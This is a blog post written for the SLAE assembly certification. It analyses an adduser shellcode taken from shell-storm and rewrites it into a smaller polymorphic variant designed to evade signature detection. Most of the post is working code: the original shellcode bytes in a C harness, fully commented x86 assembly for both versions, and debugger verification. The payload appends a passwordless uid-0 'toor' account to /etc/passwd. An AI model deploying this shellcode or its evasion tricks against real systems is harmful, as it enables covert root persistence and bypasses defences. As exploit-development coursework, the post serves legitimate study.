SLAE Assignment 6: Polymorphic shellcode Part 1

In Assignment 6 create polymorphic versions of shellcode from the shell-storm web site. The actual assignment has the following requirements:

  • Take up at least 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger than 150%
  • Bonus points for making it shorter in length than the original

I have a good look on the shell-storm web site and decided to use:

Overview of Polymorphic code

Wikipedia has the following definition of polymorphic code

In computer terminology, polymorphic code is code that uses a polymorphic engine to mutate while keeping the original algorithm intact. That is, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all. For example, 1+3 and 6-2 both achieve the same result while using different code. This technique is sometimes used by computer viruses, shellcodes and computer worms to hide their presence.

In assignment 6 we are not required to write a polymorphic engine instead the assignment requires that the original shellcode be manually altered so that it’s actions are obfuscated and it has a different signature to the original shellcode.

Part 1: Adduser

The web page for the adduser shellcode contains the machine language instructions so it is very straight forward to get the program running. I’ll add then to the shellcode.c template, once compiled we can look at the instructions.

#include
#include
unsigned char code[] = \
 "\xeb\x38\x5e\x31\xc0\x88\x46\x0b\x88\x46\x2b\xc6\x46\x2a\x0a\x8d\x5e\x0c\x89"
 "\x5e\x2c\x8d\x1e\x66\xb9\x42\x04\x66\xba\xa4\x01\xb0\x05\xcd\x80\x89\xc3\x31"
 "\xd2\x8b\x4e\x2c\xb2\x1f\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd"
 "\x80\xe8\xc3\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x74"
 "\x6f\x6f\x72\x3a\x3a\x30\x3a\x30\x3a\x74\x30\x30\x72\x3a\x2f\x72\x6f\x6f\x74"
 "\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x23";

int main()
 {
    printf("Shellcode Length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
 }

As in the previous assignments the shellcode was compiled using the -ggdb option.

Testing the Original shellcode

When I looked at the original shellcode it didn’t work. I compiled it and ran it using gdb and found that one of the instructions was writing to a register and using CX, however the higher 2 Bytes also contained data  and therefore this was causing the shellcode to fail. So I added an XOR instruction to zero the ECX register to get the shellcode to work on my machine. The additional XOR instruction is highlighted in a blue font. The original shellcode now had a size of 111 Bytes, so this it my target to beat.

Original shellcode

The structure of the shellcode is:

  • open() – select the file to write to
  • write() – write the required data to the open file
  • close() – close the open file
  • exit() – gracefully exit the program

Now lets get the original instructions using objdump. I’ve added in basic comments so its clear what the shellcode is doing.

_start:
 jmp short variabledef   ; JMP-call-pop
code:
                         ; Setup open() system call
 pop esi                 ; jmp-call-POP to get address of the 'data' variable
                         ; into the ESI register. 
 xor eax, eax            ; Zero the EAX register

The next three instructions write to the data variable to change characters in the string. The value prior to the changes is:

0x804a07d <code+61>: "/etc/passwd#toor::0:0:t00r:/root:/bin/bash #"

The first two instruction place a zero Bytes at the addresses ESI+0xb and ESI+0x2b which are the two ‘#’ character in the data variable. The result is the data variable now becomes two NULL terminated strings

  • 1st String: /etc/passwd
  • 2nd String: toor::0:0:t00r:/root:/bin/bash

The 3rd instruction places a new line character 0xa into the 2nd string before the NULL  Byte.

 mov BYTE [esi+0xb], al     ; Creates a NULL Terminated string "/etc/passwd"
 mov BYTE [esi+0x2b], al    ; Creates a NULL Terminated string
                            ; "toor::0:0:t00r:/root:/bin/bash"
 mov BYTE [esi+0x2a], 0xa   ; Places a new line character into the 2nd string
                            ; "toor::0:0:t00r:/root:/bin/bash\n"
 lea ebx, [esi+0xc]         ; Sets the address of the 2nd string
 mov DWORD[esi+0x2c], ebx   ; Loads the address of the 2nd string into the 
                            ; address esi+0x2c. This instruction is 
                            ; required, it essentially just repeats this later
                            ; To set the string to write in write() system call
 lea ebx, [esi]             ; Set open() arg#1 *pathname file path
 xor ecx, ecx               ; Instruction added to fix shellcode                          
 mov cx, 0x442              ; Set open() arg#2 flags values 
 mov dx, 0x1a4              ; Set open() arg#3 mode
 mov al, 0x5                ; Set system call ID for open()
 int 0x80                   ; Execute open() system call

 mov ebx, eax               ; Set write() arg#1 fd file descriptor
 mov ecx, DWORD [esi+0x2c]  ; Set write() arg#2 *buf the data to write
 mov dl, 0x1f               ; Set write() arg#3 count the number of byte to write
 mov al, 0x4                ; set systel call ID for write()
 int 0x80                   ; Execute write() system call
 
 mov al, 0x6                ; Set system call ID for close()
 int 0x80                   ; Execute system call

 mov al, 0x1                ; Set system call ID for exit()
 xor ebx, ebx               ; Set exit() arg#1 return value
 int 0x80                   ; Execute exit() system call

variabledef:
 call code                     ; jmp-CALL-pop
 data db "/etc/passwd#toor::0:0:t00r:/root:/bin/bash #"

Polymorphic version of Shellcode

So we now understand whats going on in the shellcode. There looks to be a couple of instructions which don’t need to be there and for the others I need to work out how to perform the same actions with different instructions.

System Call 1: open()

I’ve moved the ‘jmp’ instruction and the ‘code:’ identifier so that it is in the system call setup. I’ve started by zeroing some of the registers, by using the MUL instruction.

 xor ecx, ecx               ; Zero the ECX register
 mul ecx                    ; Zero EAX and EDX registers
 jmp short variabledef      ; JMP-call-pop routine to get the address of the data
                            ; variable so it can be manipulated. 
code:                       ; Label the 'call' instruction jumps to
 pop ebx                    ; Store the address of the data variable in EBX

The next instructions in the original code change some of the characters in the data variable. Instead of using a mov instruction I’m using an XOR.

  • ‘#’ characters: I know that if you XOR a value with itself it will result in a zero. The hexadecimal code for a ‘#’ character is 0x23, therefore XOR the # with 0x23 to get zero’s
  • The space character: The hexadecimal code for a space character is 0x20. It needs to be changed to the line feed character ‘0xa’. By XORing the two values together I’ll get the value required to mask 0x20 to get 0xa, which is 0x2a.

The resultant instructions are significantly different to the originals, I’ll also change their location to be at a different point.

xor BYTE[ebx+0xb], 0x23     ; Create a NULL Terminate string at the end of
                            ; /etc/passwd# by changing the # to NULL Byte 
xor BYTE[ebx+0x2b], 0x23    ; Create a NULL Terminate string at the end of
                            ; "toor::0:0:t00r:/root:/bin/bash #" by changing
                            ; the # to a NULL Byte
xor BYTE[ebx+0x2a], 0x2a    ; Change space at the end of the string to a New line
                            ; using XOR and a mask of 0x2A 
                            ; "toor::0:0:t00r:/root:/bin/bash\n"

I’ll set the system call ID in the EAX register. We know that EAX contains zero as its already been set using the MUL instruction so we can set the exact value in the AL register

 mov al, 0x5                ; Set system call ID for open()

The next instructions set the 2nd and 3rd arguments for the open() system call. I’ve switched their order

mov dx, 0x1a4               ; Set open() arg#3 mode value
mov cx, 0x442               ; Set open() arg2 flags value
int 0x80                    ; Execute system call

In the open() system call I’ve removed both the LEA instructions and the mov instruction used in the original shellcode which was located between them.

System call 2: write()

The value which points to the data string in the EBX register is not changed by the system call, so it can be used for write() arg#2 by moving it to ECX.

 mov ecx, ebx               ; Set write() arg#2 *buf pointer to the data to 
                            ; be written. 
 add ecx, 0xc               ; Adjust the memory address to point to the user 
                            ; string "toor::0:0:t00r:/root:/bin/bash\n"

The open() system call returned the file descriptor required for write() arg#1 to the EAX register, so this is moved to EBX.

 mov ebx, eax               ; Set write() arg#1 file descriptor to write to

There are two more registers which need to be set EAX and EDX, so I set EAX first as its set last in the original shellcode:

mov al, 0x4                 ; set system call ID for write()
xor dx, 0x1bb               ; Set write() arg#3, number of characters to write
                            ; If the value in the EDX register is XOR'd 0x1A4 with
                            ; 0x1bb the result is 0x1F 
int 0x80                    ; Execute system call

System Call 3: Close

There’s not much we can do with this system call as it only one register to be set as the EBX register already contains the file descriptor value

 mov al, 0x6                ; set system call ID for close()
 int 0x80                   ; Execute system call

System Call 4: exit()

For exit() system call I’m going to remove the instruction which sets the 2nd argument return value, the shellcode can return the file descriptor in the EBX register.

The close() system call has the following definition for its return type

RETURN VALUE
close() returns zero on success. On error, -1 is returned, and errno is set appropriately.

As a success will return a zer0, I’m going to change the instruction to set the system call ID for exit() to inc eax, is it has fewer Bytes of instructions.

inc eax                     ; Set system call ID for exit()
int 0x80                    ; Execute system call

Data Variable

The data variable remains unchanged with the following declaration:

variabledef:
call code
 data db "/etc/passwd#toor::0:0:t00r:/root:/bin/bash #"

Verifying the shellcode doesn’t contain bad characters

The shellcode instructions are complete. We need to check that there aren’t any bad ‘0’ characters within the instructions. First the shellcode needs to be assembled without using the -ggdb option for the nasm command as this adds the .stab and .stabstr sections which will contain zeros. The ‘objdump’ tool piped to the ‘grep’ command allows us to see if there are any ‘0x0’ values within the shellcode.

objdump -D ./adduser -M intel | grep 00

The command doesn’t return anything, therefore there aren’t any NULL values within the shellcode.

Testing the Polymorphic versions

The original shellcode gives a segmentation fault when assembled using ‘nasm’ and ‘ld’. The reason for this is that the instructions below try to alter the .text section which is read-only by default. The instructions which cause the segmentation fault is:

xor BYTE[ebx+0xb], 0x23

To allow the shellcode to be run without the segmentation fault when assembling with ‘nasm’ and ‘ld’ the following line can be added to the .nasm file which defines a section called ‘.text_writable’ and sets it to be writable.

SECTION .text_writable progbits alloc exec write align=16

The line is added directly before the ‘global _start’ definition. By doing this the assembly instructions are no longer contained within ‘.text’  but the new ‘.text_writable’ section. As the line doesn’t include any actual instructions the size of the code is unchanged.

I’ll run through the shellcode stopping at each system call and checking the return value etc. Here the shellcode is about to execute the 1st system call, open(). The EBX register holds the file which has been displayed using the examine command

screenshot-1

After the system call we see that the new file descriptor was returned to the EAX register and the system call executed successfully.

screenshot-2

Onto the 2nd system call, write(). A pointer to the string which will be written to the /etc/passwd file is stored n the ECX register. The EDX register contains the number of characters to be written to the file.

screenshot-3

After the write() system call is successfully executed with the number of characters written to the file returned to the EAX register.

screenshot-4

System call 3 closes the file which using the close() system call, the first argument is already set as it’s the same as that used in the write() system call. So only the system call ID needs to be set, so only a single instruction is used.

screenshot-6

After the system call the EAX register contains zero as it was successful.

screenshot-7

The final system call exits the shellcode gracefully, here the program is stopped before the system call.

screenshot-8

Finally the program exits. All the system calls have executed successfully and the polymorphic version of the shellcode is working well.

screenshot-9

Polymorphic Shellcode Size

So now to the fun bit. The original code size is, including the additional XOR instruction required to get it working on my machine is 111 Bytes in size.

screenshot-10

My polymorphic version of the shellcode’s size is:

screenshot-11

The new shellcode is 8 Bytes smaller than the original, great.

Final Polymorphic Shellcode

So the complete polymorphic shellcode is as follows:

_start:
 xor ecx, ecx              ; Zero the ECX register
 mul ecx                   ; Zero EAX and EDX registers
 jmp short variabledef     ; JMP-call-pop routine to get the address of the data
                           ; variable so it can be manipulated. 
code:                      ; Label the 'call' instruction jumps to
 pop ebx                   ; Store the address of the data variable in EBX

 xor BYTE[ebx+0xb], 0x23   ; Create a NULL Terminate string at the end of
                           ; /etc/passwd# by changing the # to NULL Byte 
 xor BYTE[ebx+0x2b], 0x23  ; Create a NULL Terminate string at the end of
                           ; "toor::0:0:t00r:/root:/bin/bash #" by changing
                           ; the # to a NULL Byte
 xor BYTE[ebx+0x2a], 0x2a  ; Change space at the end of the string to a New line
                           ; using XOR and a mask of 0x2A 
                           ; "toor::0:0:t00r:/root:/bin/bash\n"
 mov al, 0x5               ; Set system call ID for open()
 mov dx, 0x1a4             ; Set open() arg#3 mode value
 mov cx, 0x442             ; Set open() arg2 flags value
 int 0x80                  ; Execute system call

 mov ecx, ebx              ; Set write() arg#2 *buf pointer to the data to 
                           ; be written. 
 add ecx, 0xc              ; Adjust the memory address to point to the user 
                           ; string "toor::0:0:t00r:/root:/bin/bash\n"
 mov ebx, eax              ; Set write() arg#1 file descriptor to write to
 mov al, 0x4               ; Set system call ID for write()
 xor dx, 0x1bb             ; Set the write() arg#3 count, the number of characters
                           ; to be written to the file. The value in EDX is 0x1A4
                           ; the required value is 0x1F. XORing them together 
                           ; gives the mask 0x1bb for the instruction
 int 0x80                  ; Execute system call

 mov al, 0x6               ; set system call ID for close()
 int 0x80                  ; Execute system call

 inc eax                   ; Set system call ID for exit()
 int 0x80                  ; Execute system call
 
variabledef:
 call code
 data db "/etc/passwd#toor::0:0:t00r:/root:/bin/bash #"

SLAE Assignment 6: Polymorphic shellcode Part 2

The next part of assignment 6 can be found at the following URL:

https://raidersofthelostarg.wordpress.com/2017/01/20/slae-assignment-6-polymorphic-shellcode-part-2/

Source Code

The source code for the shellcode and ‘portconfig’ applications can be found in the following Git Hub repository

https://github.com/raidersofthelostarg/slae/tree/master/assignment-6

SLAE Student Details

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: 

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-793

Advertisements
Aside | This entry was posted in SLAE and tagged , , . Bookmark the permalink.

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s